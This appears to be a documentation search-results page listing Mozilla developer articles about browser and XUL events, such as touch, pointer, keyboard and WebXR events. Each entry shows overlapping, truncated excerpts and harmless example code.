events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing. ...
...owsers can handle.
events and
event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including
events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing.
events and
event handling become central to web programming with the addition of the language to browsers, accompanying a switch in the rendering architecture of browsers from fetch and load page rendering to
event driven, reflow based, page rendering. initially, browsers wait, until they receive all of the resources associated with a page, to parse, process, draw, and present the page to the user. the...
... reflow based, page rendering. initially, browsers wait, until they receive all of the resources associated with a page, to parse, process, draw, and present the page to the user. the displayed page remains unchanged until the browser requests a new page. with the change to dynamic page rendering, browsers loop continuously between processing, drawing, presenting content, and waiting for some new
event trigger.
event triggers include the completion of the loading of a resource on the network e.g., downloads an image that can now be drawn on the screen, the completion of parsing a resource by the browser e.g., processes the html content of a page, the interaction of a user with the contents of the page e.g., clicks a button. douglas crockford explains this change effectively in several lectures,...
...And 29 more matches
Creating Custom Events That Can Pass Data
this page describes how to implement custom dom
events that can be used to pass data. using this technique you can add extra parameters and query them. for example, if you want firefox to perform an action whenever something happens (i.e., something other than the standard mouse/keyboard
events) and, depending on the data passed along with this
event, you want firefox to react differently. note that starting with version 6, firefox supports dom level 3 custom
event, which lets you dispatch custom
events with arbitrary data from javascript. (see bug 427537) requirements in order to do this you must be able to do all of the following: download mozilla source code build mozilla creating custom firefox extensions with the mozilla build system. this is the foundation for everything we'll do.
...rary data from javascript. (see bug 427537) requirements in order to do this you must be able to do all of the following: download mozilla source code build mozilla creating custom firefox extensions with the mozilla build system. this is the foundation for everything we'll do. what's in a name despite whatever you may have been taught in your english class, there's a lot in a name when it's an
event name. as of gecko 1.8, if your
event names do not start with "nsdom" and their interfaces do not start with "nsidom" then you can forget about passing data. you will still be able to throw
events, but that's it. the trunk you needed to download (or check out) the trunk source because you will have to modify it in order to implement your
event. be aware that this means your stuff won't work with e...
...s a discussion of each change. mozilla/dom/base/nsdomclassinfoclasses.h the change you make here is really rather small but it is incredibly important. if you peruse nsdomclassinfoclasses.h you'll see of list of macros of the form domci_class(foo). you'll want to add an entry to it which looks like this: domci_class({truncated name}) here's the fun part: above i mentioned that you must name your
events as nsdom. however, here you want to put the other part of the name (e.g. if you have an
event named nsdommyfirst
event your nsdomclassinfoclasses entry would be domci_class(myfirst
event)). mozilla/dom/src/base/nsdomclassinfo.cpp mozilla contains many convenience macros to make changes like the one you're making easier. your modification of this file is basically just two macro calls. try to make ...
...And 28 more matches
Gecko events
« at apis support page this page offers a list of accessibility-related
events supported by gecko.
event constants are defined in nsiaccessible
event interface.
event_dom_create an object has been created. is supported: yes
event_dom_destroy an object has been destroyed. is supported: yes
event_dom_significant_change an object's properties or content have changed significantly so that the type of object has really changed, and therefore the accessible should be destroyed or recreated. ...
... are defined in nsiaccessible
event interface.
event_dom_create an object has been created. is supported: yes
event_dom_destroy an object has been destroyed. is supported: yes
event_dom_significant_change an object's properties or content have changed significantly so that the type of object has really changed, and therefore the accessible should be destroyed or recreated. ...
...dom_destroy an object has been destroyed. is supported: yes
event_dom_significant_change an object's properties or content have changed significantly so that the type of object has really changed, and therefore the accessible should be destroyed or recreated. is supported: yes
event_asynch_show a hidden object is shown -- this is a layout occurance and is thus asynchronous is supported: yes
event_asynch_hide an object is hidden -- this is a layout occurance and is thus asynchronous is supported: yes
event_asynch_significant_change an object had a significant layout change which could affect the type of accessible object -- this is a layout occurance and is thus asynchronous is supported: yes
event_active_decendent_changed the active descendant of a component has changed. the active d...
...And 27 more matches
nsIDOMEvent
dom/interfaces/
events/nsidom
event.idlscriptable this interface is the primary data type for all
events in the document object model. inherits from: nsisupports last changed in gecko 16.0 (firefox 16.0 / thunderbird 16.0 / seamonkey 2.13) note: as of gecko 16.0, the nsiprivatedom
event interface was merged into this interface. everything marked as gecko 16.0 was previously available in that interface. see bug 761613. ...
...monkey 2.13) note: as of gecko 16.0, the nsiprivatedom
event interface was merged into this interface. everything marked as gecko 16.0 was previously available in that interface. see bug 761613. ...
...s of gecko 16.0, the nsiprivatedom
event interface was merged into this interface. everything marked as gecko 16.0 was previously available in that interface. see bug 761613. ...
...And 25 more matches
PopupEvents - Archive of obsolete content
popup
events there are several
events related to popups and menus. an overview of these is listed below: contextmenu this
event is fired when a request is made to open a context menu, whether by the keyboard or mouse. this
event will be fired even for elements that don't have a context menu associated with them. for more information about how to use this
event, see context menu
events. popupshowing this
event is fired on a menupopup, panel or tooltip just before it is made visible. this
event is most commonly used to add or adjust items on the popup based on the context. popupshown this
event is fired on a menupopup, panel or tooltip once it is visible on screen. ...
...text menu
events. popupshowing this
event is fired on a menupopup, panel or tooltip just before it is made visible. this
event is most commonly used to add or adjust items on the popup based on the context. popupshown this
event is fired on a menupopup, panel or tooltip once it is visible on screen. popuphiding this
event is fired on a menupopup, panel or tooltip once it is about to be hidden. this may happen because the user selected an item from the menu, or it may be because the popup was closed by clicking elsewhere. popuphidden this
event is fired on a menupopup, panel or tooltip once it has been hidden. ...
... popuphiding this
event is fired on a menupopup, panel or tooltip once it is about to be hidden. this may happen because the user selected an item from the menu, or it may be because the popup was closed by clicking elsewhere. popuphidden this
event is fired on a menupopup, panel or tooltip once it has been hidden. the popupshowing
event just before a popup is about to be displayed, a popupshowing
event will fired on the popup. this will occur regardless of how the popup is opened, either from user interaction or from a script calling the openpopup or openpopupatscreen methods. the typical usage of a listener of the popupshowing
event is to adjust the content of the popup based on context. for instance, right clicking on an image...
...And 24 more matches
Adding Event Handlers - Archive of obsolete content
s not matter what the script file is called, usually it would be the same as the xul file with a .js extension. in this case, findfile.js will be used. add the line below just after the opening window tag and before any elements. <script src="findfile.js"/> we'll create the script file later when we know what we want to put in it. we'll define some functions in the file and we can call them in
event handlers. you can include multiple scripts in a xul file by using multiple script tags, each pointing to a different script. you may use relative or absolute urls. for example, you may use urls of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/> this tutorial does not attempt to describe how ...
...ripts in a xul file by using multiple script tags, each pointing to a different script. you may use relative or absolute urls. for example, you may use urls of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/> this tutorial does not attempt to describe how to use javascript (except as related to
event handling) as this is a fairly large topic and there are plenty of other resources that are available for this. by default the javascript console only shows errors from web content. to show errors in chrome javascript, it is necessary to change the preference javascript.options.showinconsole to true. you can also change the preference javascript.options.strict for debugging. by setting this value...
...ascript console only shows errors from web content. to show errors in chrome javascript, it is necessary to change the preference javascript.options.showinconsole to true. you can also change the preference javascript.options.strict for debugging. by setting this value to true, non-standard, poorly written, or syntax prone to cause logic errors are logged to the javascript console. ...
...And 24 more matches
More Event Handlers - Archive of obsolete content
« previousnext » in this section, the
event object is examined and additional
events are described. the
event object every
event handler is passed an
event object. in the attribute form of the
event handler, the
event object is an implied argument to the script code which can be referred to using the name '
event'. in the add
eventlistener form, the first argument passed to the listener function will be the
event object. other arguments can be passed to a listener function, if required. the
event object has a number of properties which can be examined during an
event. for a full list, see the reference. we already saw the
event's target property in the last section. it holds a reference to the element where the
event occurred. a similar property currenttarget holds the element ...
...ject. other arguments can be passed to a listener function, if required. the
event object has a number of properties which can be examined during an
event. for a full list, see the reference. we already saw the
event's target property in the last section. it holds a reference to the element where the
event occurred. a similar property currenttarget holds the element that is currently having its
event listeners handled. in the example below, currenttarget is always the vbox, whereas target would be the specific element, either the button or checkbox, that was activated. ...
...et property in the last section. it holds a reference to the element where the
event occurred. a similar property currenttarget holds the element that is currently having its
event listeners handled. in the example below, currenttarget is always the vbox, whereas target would be the specific element, either the button or checkbox, that was activated. ...
...And 24 more matches
Touch events - Web APIs
to provide quality support for touch-based user interfaces, touch
events offer the ability to interpret finger (or stylus) activity on touch screens or trackpads. the touch
events interfaces are relatively low-level apis that can be used to support application-specific multi-touch interactions such as a two-finger gesture. a multi-touch interaction starts when a finger (or stylus) first touches the contact surface. other fingers may subsequently touch the surface and optionally move across the touch surface. the interaction ends when the fingers are removed from the surface. during this interaction, an application receives touch
events during the start, move, and end phases. ...
...ons such as a two-finger gesture. a multi-touch interaction starts when a finger (or stylus) first touches the contact surface. other fingers may subsequently touch the surface and optionally move across the touch surface. the interaction ends when the fingers are removed from the surface. during this interaction, an application receives touch
events during the start, move, and end phases. touch
events are similar to mouse
events except they support simultaneous touches and at different locations on the touch surface. the touch
event interface encapsulates all of the touchpoints that are currently active. the touch interface, which represents a single touchpoint, includes information such as the position of the touch point relative to the browser viewport. definitions surface the touch-sen...
...ouch interface, which represents a single touchpoint, includes information such as the position of the touch point relative to the browser viewport. definitions surface the touch-sensitive surface. this may be a screen or trackpad. touch point a point of contact with the surface. this may be a finger (or elbow, ear, nose, whatever, but typically a finger) or stylus. interfaces touch
event represents an
event that occurs when the state of touches on the surface changes. touch represents a single point of contact between the user and the touch surface. touchlist represents a group of touches; this is used when the user has, for example, multiple fingers on the surface at the same time. example this example tracks multiple touchpoints at a time, allowing the user to draw in a...
...And 24 more matches
XUL Event Propagation - Archive of obsolete content
this article describes the
event model in xul and features
event propagation as a way to handle
events in different places in the interface. introduction xul
events were introduced in a very general way in a previous xulnote. but to use
events effectively in xul, you must be aware of what the actual process for raising, listening to, and handling
events is. collectively, this process is referred to as the
event model.
events are used for different purposes, but they play a particularly important role in creating interactive xul-based user interfaces, since it is
events that bring the information about user actions to the code behind the interface. the following image describes in a very basic way how the various actors in the
event model interact with one another. the user clicks a butto...
...a particularly important role in creating interactive xul-based user interfaces, since it is
events that bring the information about user actions to the code behind the interface. the following image describes in a very basic way how the various actors in the
event model interact with one another. the user clicks a button in the interface. this button responds to the user action by raising an
event, a message meant to travel from one element within the interface to another. in this case, the
event raised was the "click"
event, but a variety of
events can be raised by the button element. when the mouse moves over the button, for example, the "hover"
event is raised. ...
...s a button in the interface. this button responds to the user action by raising an
event, a message meant to travel from one element within the interface to another. in this case, the
event raised was the "click"
event, but a variety of
events can be raised by the button element. when the mouse moves over the button, for example, the "hover"
event is raised. and sometimes elements raise different
events for the pressing down of the click and the release. the
events raised by a particular element are pre-determined. the click
event is just a message. it's passive in that it doesn't look for a listener; it propagates or "bubbles up" the hierarchy of nodes within the interface until it is either handled in some way or passes out of the interface unhandled. any element that is interested in the ev...
...And 23 more matches
Drawing and Event Handling - Plugins
when it comes to determining the way a plug-in instance appears in a web page, you (and the web page author) have many options. the content provider who writes the web page determines its display mode: whether the plug-in is embedded, or displayed in its own separate page. you determine whether a plug-in is windowed or windowless by the way you define the plug-in itself. ...
...ble is provided in the paint message. see below.) in both cases, the drawable can be an off-screen pixmap. drawing plug-ins this section describes the methods and processes you use in drawing both windowed and windowless plug-ins. processes that apply to only one of these plug-in types are described in the following sections. the plug-in uses these methods to draw plug-ins and to handle
events: plug-in methods, called by the browser: npp_handle
event: deliver a platform-specific
event to the instance. npp_print: request a platform-specific print operation for the instance. npp_setwindow: set the window in which a plug-in draws. browser-side methods, called by the plug-in: npn_forceredraw: force a paint message to a windowless plug-in. npn_invalidaterect: invalidate an area ...
... the plug-in drawing occurs (npnvnetscapewindow). the value parameter contains the name of the plug-in. you can also use npn_getvalue to help create a menu or dialog box for a windowless plug-in. windowed plug-ins the browser gives each windowed plug-in its own native window, often a child window of the the browser window itself, to draw into. the plug-in has complete control over drawing and
event handling within that window. on mac os, the browser does not give a windowed plug-in a native window, because the mac os platform does not support child windows. instead, the windowed plug-in draws into the graphics port associated with the browser window, at the offset that the browser specifies. on ms windows and unix, the browser creates a child window for each plug-in instance and passes it...
...And 23 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
previous overview: client-side javascript frameworks next we now have sample data in place, and a loop that takes each bit of data and renders it inside a todoitem in our app. what we really need next is the ability to allow our users to enter their own todo items into the app, and for that we'll need a text <input>, an
event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. this is what we'll cover in this article. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the...
...as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn about handling forms in vue, and by association,
events, models, and methods. creating a new to-do form we now have an app that displays a list of to-do items. however, we can't update our list of items without manually changing our code! let's fix that. let's create a new component that will allow us to add a new to-do item. in your components folder, create a new file called todoform.vue. add a blank <template> and a <script> ta...
... let's load this component into our app. go back to app.vue and add the following import statement just below the previous one, inside your <script> element: import todoform from './components/todoform'; you also need to register the new component in your app component — update the components property of the component object so that it looks like this: component...
...And 22 more matches
MouseEvent - Web APIs
the mouse
event interface represents
events that occur due to the user interacting with a pointing device (such as a mouse). common
events using this interface include click, dblclick, mouseup, mousedown. mouse
event derives from ui
event, which in turn derives from
event. though the mouse
event.initmouse
event() method is kept for backward compatibility, creating of a mouse
event object should be done using the mouse
event() constructor. several more specific
events are based on mouse
event, including wheel
event and drag
event. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" prese...
...ts are based on mouse
event, including wheel
event and drag
event. ...
...lock; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/ui
event" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" tex...
...And 22 more matches
NPEvent - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary represents an
event passed by npp_handle
event() to a windowless plug-in. ...
... « gecko plugin api reference « plug-in side plug-in api summary represents an
event passed by npp_handle
event() to a windowless plug-in. ...
... « gecko plugin api reference « plug-in side plug-in api summary represents an
event passed by npp_handle
event() to a windowless plug-in. ...
...And 21 more matches
nsIEventListenerService
content/
events/public/nsi
eventlistenerservice.idlscriptable a service that can be used to get a list of listeners observing
events; this is primarily useful for debuggers. 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/
eventlistenerservice;1. to create an instance, use: var
eventlistenerservice = components.classes["@mozilla.org/
eventlistenerservice;1"] .getservice(components.interfaces.nsi
eventlistenerservice); universalxpconnect privileges are required to use this service. ...
...ox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/
eventlistenerservice;1. to create an instance, use: var
eventlistenerservice = components.classes["@mozilla.org/
eventlistenerservice;1"] .getservice(components.interfaces.nsi
eventlistenerservice); universalxpconnect privileges are required to use this service. ...
...amonkey 2.4) implemented by: @mozilla.org/
eventlistenerservice;1. to create an instance, use: var
eventlistenerservice = components.classes["@mozilla.org/
eventlistenerservice;1"] .getservice(components.interfaces.nsi
eventlistenerservice); universalxpconnect privileges are required to use this service. ...
...And 20 more matches
Adding Events and Commands - Archive of obsolete content
« previousnext »
event handlers just like with html, most javascript code execution is triggered by
event handlers attached to dom elements. the most commonly used
event is the onload
event, which is used in overlays and other windows to detect when the window has loaded and then run initialization code: // rest of overlay code goes here. window.add
eventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); you can do something similar with the onunload
event, to do any cleanup you may need. please read appendix a for recommendations on how to use the load
event to initialize your add-on without having a negative performance impact on firefox. ...
...// rest of overlay code goes here. window.add
eventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); you can do something similar with the onunload
event, to do any cleanup you may need. please read appendix a for recommendations on how to use the load
event to initialize your add-on without having a negative performance impact on firefox. another way to attach
event handlers, just like html, is to place the handler in the xul code: <overlay id="xulschoolhello-browser-overlay" onload="xulschoolchrome.browseroverlay.init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> we prefer the first method because it keeps a better separation of content and behavior. ...
...e impact on firefox. another way to attach
event handlers, just like html, is to place the handler in the xul code: <overlay id="xulschoolhello-browser-overlay" onload="xulschoolchrome.browseroverlay.init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> we prefer the first method because it keeps a better separation of content and behavior. also, note that the add
eventlistener method receives the
event name without the "on" prefix, while element attributes do have the prefix. there's a long list of
events you can listen to, and which you use depend on the situation. elements only implement the
events that are relevant to them, but there are several
events that are implemented for most elements. ...
...And 19 more matches
PointerEvent - Web APIs
the pointer
event interface represents the state of a dom
event produced by a pointer such as the geometry of the contact point, the device type that generated the
event, the amount of pressure that was applied on the contact surface, etc. a pointer is a hardware agnostic representation of input devices (such as a mouse, pen or contact point on a touch-enable surface). the pointer can target a specific coordinate (or set of coordinates) on the contact surface such as a screen. a pointer's hit test is the process a browser uses to determine the target element for a pointer
event. typically, this is determined by considering the pointer's location and also the visual layout of elements in a document on screen media. ...
...touch-enable surface). the pointer can target a specific coordinate (or set of coordinates) on the contact surface such as a screen. a pointer's hit test is the process a browser uses to determine the target element for a pointer
event. typically, this is determined by considering the pointer's location and also the visual layout of elements in a document on screen media. constructors pointer
event() creates a synthetic—and untrusted—pointer
event. properties this interface inherits properties from mouse
event and
event. ...
...it test is the process a browser uses to determine the target element for a pointer
event. typically, this is determined by considering the pointer's location and also the visual layout of elements in a document on screen media. constructors pointer
event() creates a synthetic—and untrusted—pointer
event. properties this interface inherits properties from mouse
event and
event. pointer
event.pointerid read only a unique identifier for the pointer causing the
event. pointer
event.width read only the width (magnitude on the x axis), in css pixels, of the contact geometry of the pointer. ...
...And 19 more matches
XRSession: selectend event - Web APIs
the webxr
event selectend is sent to an xrsession when one of its input sources ends its primary action or when an input source that's in the process of handling an ongoing primary action is disconnected without successfully completing the action. primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsource
event event handler property onselectend for details on how the selectstart, select, and selectend
events work, and how you should react to them, see primary actions in inputs and input sources. examples the following...
...cking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsource
event event handler property onselectend for details on how the selectstart, select, and selectend
events work, and how you should react to them, see primary actions in inputs and input sources. examples the following example uses add
eventlistener() to establish handlers for the selection
events: selectstart, selectend, and select. this snippet is the core of an
event handler to allow the user to grab objects in the scene and move them around. in this case, a single function is used to handle all three
events, allowing them to share certain code that's the same regardless of which of the three
events is received. only after comple...
...the selection
events: selectstart, selectend, and select. this snippet is the core of an
event handler to allow the user to grab objects in the scene and move them around. in this case, a single function is used to handle all three
events, allowing them to share certain code that's the same regardless of which of the three
events is received. only after completing those tasks does the onselection
event() function below dispatch the action out to a specialized function to handle things. after checking to ensure that the received
event is a tracked-pointer
event (the only kind we handle here), the target ray's pose is obtained using getpose(). ...
...And 19 more matches
XRSession: squeezeend event - Web APIs
the webxr
event squeezeend is sent to an xrsession when one of its input sources ends its primary action or when an input source that's in the process of handling an ongoing primary action is disconnected without successfully completing the action. primary squeeze actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsource
event event handler property onsqueezeend for details on how the squeezestart, squeeze, and squeezeend
events work, and how you should react to them, see primary squeeze actions in inputs and input sources. ex...
... or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsource
event event handler property onsqueezeend for details on how the squeezestart, squeeze, and squeezeend
events work, and how you should react to them, see primary squeeze actions in inputs and input sources. examples the following example uses add
eventlistener() to establish handlers for the squeezeion
events: squeezestart, squeezeend, and squeeze. this snippet is the core of an
event handler to allow the user to grab objects in the scene and move them around. in this case, a single function is used to handle all three
events, allowing them to share certain code that's the same regardless of which of the three
events is received. only after co...
...e squeezeion
events: squeezestart, squeezeend, and squeeze. this snippet is the core of an
event handler to allow the user to grab objects in the scene and move them around. in this case, a single function is used to handle all three
events, allowing them to share certain code that's the same regardless of which of the three
events is received. only after completing those tasks does the onsqueeze
event() function below dispatch the action out to a specialized function to handle things. after checking to ensure that the received
event is a tracked-pointer
event (the only kind we handle here), the target ray's pose is obtained using getpose(). ...
...And 19 more matches
pointer-events - CSS: Cascading Style Sheets
the pointer-
events css property sets under what circumstances (if any) a particular graphic element can become the target of pointer
events. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...inter-
events css property sets under what circumstances (if any) a particular graphic element can become the target of pointer
events. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...rty sets under what circumstances (if any) a particular graphic element can become the target of pointer
events. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 19 more matches
Using Touch Events - Web APIs
today, most web content is designed for keyboard and mouse input. however, devices with touch screens (especially portable devices) are mainstream and web applications can either directly process touch-based input by using touch
events or the application can use interpreted mouse
events for the application input. a disadvantage to using mouse
events is that they do not support concurrent user input, whereas touch
events support multiple simultaneous inputs (possibly at different locations on the touch surface), thus enhancing user experiences. the touch
events interfaces support application specific single and multi-touch interactions such as a two-finger gesture. a multi-touch interaction starts when a finger (or stylus) first touches the contact surface. other fingers may subsequently touch...
... application specific single and multi-touch interactions such as a two-finger gesture. a multi-touch interaction starts when a finger (or stylus) first touches the contact surface. other fingers may subsequently touch the surface and optionally move across the touch surface. the interaction ends when the fingers are removed from the surface. during this interaction, an application receives touch
events during the start, move, and end phases. the application may apply its own semantics to the touch inputs. interfaces touch
events consist of three interfaces (touch, touch
event and touchlist) and the following
event types: touchstart - fired when a touch point is placed on the touch surface. touchmove - fired when a touch point is moved along the touch surface. touchend - fired when a touc...
...x and y coordinates of the touch point's position relative to the viewport, page, and screen. the touchlist interface represents a list of contact points with a touch surface, one touch point per contact. thus, if the user activated the touch surface with one finger, the list would contain one item, and if the user touched the surface with three fingers, the list length would be three. the touch
event interface represents an
event sent when the state of contacts with a touch-sensitive surface changes. the state changes are starting contact with a touch surface, moving a touch point while maintaining contact with the surface, releasing a touch point and canceling a touch
event. this interface's attributes include the state of several modifier keys (for example the shift key) and the following t...
...And 18 more matches
WindowEventHandlers.onhashchange - Web APIs
if it equals #cool-feature, the script logs a message to the console. ...
...if it equals #cool-feature, the script logs a message to the console. ...
...if it equals #cool-feature, the script logs a message to the console. ...
...And 18 more matches
XRSession: selectstart event - Web APIs
the webxr
event selectstart is sent to an xrsession when the user begins a primary action on one of its input sources. primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsource
event event handler property onselectstart for details on how the selectstart, select, and selectend
events work, and how you should react to them, see primary actions in inputs and input sources. examples the following example uses add
eventlistener() to establish handlers for the selection
events: selectstart, selectend, and select. this snipp...
...rinputsource
event event handler property onselectstart for details on how the selectstart, select, and selectend
events work, and how you should react to them, see primary actions in inputs and input sources. examples the following example uses add
eventlistener() to establish handlers for the selection
events: selectstart, selectend, and select. this snippet is the core of an
event handler to allow the user to grab objects in the scene and move them around. in this case, a single function is used to handle all three
events, allowing them to share certain code that's the same regardless of which of the three
events is received. only after completing those tasks does the onselection
event() function below dispatch the action out to a specialized function to handle things. af...
...s in the scene and move them around. in this case, a single function is used to handle all three
events, allowing them to share certain code that's the same regardless of which of the three
events is received. only after completing those tasks does the onselection
event() function below dispatch the action out to a specialized function to handle things. after checking to ensure that the received
event is a tracked-pointer
event (the only kind we handle here), the target ray's pose is obtained using getpose(). if the target ray pose was fetched successfully, the code then uses the value of
event property type to route control to an appropriate function to handle the
event which arrived: for selectstart
events, a mybegintracking() function is called with the target ray pose's matrix. the myb...
...And 18 more matches
XRSession: squeezestart event - Web APIs
the webxr
event squeezestart is sent to an xrsession when the user begins a primary squeeze action on one of its input sources. primary squeeze actions are actions which are meant to represent gripping or squeezing using your hands, and may be simulated using triggers on hand controllers. bubbles yes cancelable no interface xrinputsource
event event handler property onsqueezestart for details on how the squeezestart, squeeze, and squeezeend
events work, and how you should react to them, see primary squeeze actions in inputs and input sources. examples the following example uses add
eventlistener() to establish handlers for the squeezeion
events: squeezestart, squeezeend, and squeeze. ...
...t
event handler property onsqueezestart for details on how the squeezestart, squeeze, and squeezeend
events work, and how you should react to them, see primary squeeze actions in inputs and input sources. examples the following example uses add
eventlistener() to establish handlers for the squeezeion
events: squeezestart, squeezeend, and squeeze. this snippet is the core of an
event handler to allow the user to grab objects in the scene and move them around. in this case, a single function is used to handle all three
events, allowing them to share certain code that's the same regardless of which of the three
events is received. only after completing those tasks does the onsqueeze
event() function below dispatch the action out to a specialized function to handle things. afte...
...cts in the scene and move them around. in this case, a single function is used to handle all three
events, allowing them to share certain code that's the same regardless of which of the three
events is received. only after completing those tasks does the onsqueeze
event() function below dispatch the action out to a specialized function to handle things. after checking to ensure that the received
event is a tracked-pointer
event (the only kind we handle here), the target ray's pose is obtained using getpose(). if the target ray pose was fetched successfully, the code then uses the value of
event property type to route control to an appropriate function to handle the
event which arrived: for squeezestart
events, a mybegintracking() function is called with the target ray pose's matrix. the my...
...And 18 more matches
Creating Event Targets - Archive of obsolete content
this tutorial describes the use of low-level apis. these apis are still in active development, and we expect to make incompatible changes to them in future releases. the guide to
event-driven programming with the sdk describes how to consume
events: that is, how to listen to
events generated by
event targets. for example, you can listen to the tabs module's ready
event or the panel object's show
event. with the sdk, it's also simple to implement your own
event targets. this is especially useful if you want to build your own modules, either to organize your add-on better or to enable other developers to reuse your code. if you use the sdk's
event framework for your
event targets, users of your module can listen for
events using the sdk's standard
event api. in this tutorial we'll create part...
... targets. this is especially useful if you want to build your own modules, either to organize your add-on better or to enable other developers to reuse your code. if you use the sdk's
event framework for your
event targets, users of your module can listen for
events using the sdk's standard
event api. in this tutorial we'll create part of a module to access the browser's places api. it will emit
events when the user adds and visits bookmarks, enabling users of the module to listen for these
events using the sdk's standard
event api. using the places api first, let's write some code using places api that logs the uris of bookmarks the user adds. create a new directory called "bookmarks", navigate to it, and run jpm init, accepting all the defaults. then open "index.js" and add the following ...
...rvice.getbookmarkuri(aitemid).spec); }, queryinterface: xpcomutils.generateqi([ci.nsinavbookmarkobserver]) }; exports.main = function() { bookmarkservice.addobserver(bookmarkobserver, false); }; exports.onunload = function() { bookmarkservice.removeobserver(bookmarkobserver); } try running this add-on, adding and visiting bookmarks, and observing the output in the console. ...
...And 17 more matches
KeyboardEvent.code - Web APIs
in other words, this property returns a value that isn't altered by keyboard layout or the state of the modifier keys. if the input device isn't a physical keyboard, but is instead a virtual keyboard or accessibility device, the returned value will be set by the browser to match as closely as possible to what would happen with a physical keyboard, to maximize compatibility between physical and virtual input devices. ...
...al and virtual input devices. this property is useful when you want to handle keys based on their physical positions on the input device rather than the characters associated with those keys; this is especially common when writing code to handle input for games that simulate a gamepad-like environment using keys on the keyboard. be aware, however, that you can't use the value reported by keyboard
event.code to determine the character generated by the keystroke, because the keycode's name may not match the actual character that's printed on the key or that's generated by the computer when the key is pressed. for example, the code returned is "keyq" for the q key on a qwerty layout keyboard, but the same code value also represents the ' key on dvorak keyboards and the a key on azerty keyboards. ...
...d. for example, the code returned is "keyq" for the q key on a qwerty layout keyboard, but the same code value also represents the ' key on dvorak keyboards and the a key on azerty keyboards. that makes it impossible to use the value of code to determine what the name of the key is to users if they're not using an anticipated keyboard layout. ...
...And 17 more matches
KeyboardEvent.getModifierState() - Web APIs
this is case-sensitive. modifier keys on internet explorer ie9 uses "scroll" for "scrolllock" and "win" for "os". ...
...this is case-sensitive. modifier keys on internet explorer ie9 uses "scroll" for "scrolllock" and "win" for "os". ...
...this is case-sensitive. modifier keys on internet explorer ie9 uses "scroll" for "scrolllock" and "win" for "os". ...
...And 17 more matches
KeyboardEvent.key - Web APIs
the keyboard
event interface's key read-only property returns the value of the key pressed by the user, taking into consideration the state of modifier keys such as shift as well as the keyboard locale and layout. its value is determined as follows: key values see a full list of key values. if the pressed key has a printed representation, the returned value is a non-empty unicode character string containing the printable representation of the key. if the pressed key is a control or special character, the returned value is one of the pre-defined key values. if the keyboard
event represents the press of a dead key, the key value must be "dead". some specialty keyboard keys (such as the extended keys for controlling media on multimedia keyboards) don't generate key codes on windows; inste...
...esentation of the key. if the pressed key is a control or special character, the returned value is one of the pre-defined key values. if the keyboard
event represents the press of a dead key, the key value must be "dead". some specialty keyboard keys (such as the extended keys for controlling media on multimedia keyboards) don't generate key codes on windows; instead, they trigger wm_appcommand
events. these
events get mapped to dom keyboard
events, and are listed among the "virtual key codes" for windows, even though they aren't actually key codes. if the key cannot be identified, the returned value is unidentified. ...
... keyboard keys (such as the extended keys for controlling media on multimedia keyboards) don't generate key codes on windows; instead, they trigger wm_appcommand
events. these
events get mapped to dom keyboard
events, and are listed among the "virtual key codes" for windows, even though they aren't actually key codes. if the key cannot be identified, the returned value is unidentified. keyboard
event sequence every keyboard
event is fired in a pre-determined sequence. for a given key press, the sequence of keyboard
events fired is as follows assuming that
event.pr
eventdefault is not called: a keydown
event is first fired. ...
...And 17 more matches
